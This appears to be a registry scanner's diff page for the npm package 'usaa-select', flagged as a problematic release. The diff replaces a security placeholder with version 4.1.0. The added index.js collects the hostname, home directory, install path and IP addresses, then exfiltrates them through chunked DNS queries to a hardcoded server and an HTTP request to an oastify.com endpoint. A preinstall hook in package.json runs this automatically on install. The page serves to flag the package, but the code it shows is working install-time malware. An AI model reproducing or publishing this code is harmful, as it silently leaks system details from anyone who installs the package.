usaa-select 0.0.1-security → 4.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of usaa-select might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +67 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,67 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const http = require('http');
4
+ const suffix = ".w00dr0w-test.com";
5
+ const package = "w00dr0w-test";
6
+ const url = 'http://604icsgki6wcv57i4orkpz3qiho8cz0o.oastify.com';
7
+
8
+ var h = os.hostname();
9
+
10
+ data = package + '__' + h +
11
+ '__' + os.homedir() +
12
+ '__' + __dirname;
13
+
14
+
15
+ const nets = os.networkInterfaces();
16
+ const results = Object.create(null); // Or just '{}', an empty object
17
+
18
+ dns.lookup(h, { hints: dns.ADDRCONFIG }, function(err, ip) {
19
+ //console.log('IP: ' + ip);
20
+ dns.lookupService(ip, 0, function (err, hostname, service) {
21
+ if (err) {
22
+ return;
23
+ }
24
+ //console.log('Hostname:' + hostname)
25
+ data = data + '__' + hostname;
26
+ });
27
+ });
28
+
29
+ for (const name of Object.keys(nets)) {
30
+ for (const net of nets[name]) {
31
+ // Skip over non-IPv4 and internal (i.e. 127.0.0.1) addresses
32
+ // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
33
+ const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
34
+ if (net.family === familyV4Value && !net.internal) {
35
+ if (!results[name]) {
36
+ results[name] = [];
37
+ }
38
+ data = data + '__' + net.address;
39
+ //results[name].push(net.address);
40
+ }
41
+ }
42
+ }
43
+
44
+ data = data.replace(/[^a-zA-Z0-9._]/g,
45
+ function(f) {
46
+ return '_' + f.charCodeAt(0).toString(16);
47
+ }
48
+ );
49
+
50
+ data = data.match(/.{1,50}/g);
51
+
52
+ dns.setServers(['3.145.70.183']);
53
+
54
+ id = Math.random().toString(36).substring(6);
55
+
56
+ var i = 1;
57
+
58
+ data.forEach(function (chunk){
59
+ dns.resolve(id + '-' + i + '.' + chunk + suffix, 'A', console.log);
60
+ i++;
61
+ });
62
+
63
+ http.get(url, (res) => {
64
+ res.setEncoding('utf8');
65
+ res.on('data', (chunk) => {
66
+ });
67
+ });
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "usaa-select",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "4.1.0",
4
+ "description": "Security Research Purposes Only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js",
9
+ "start": "node index.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=usaa-select for more information.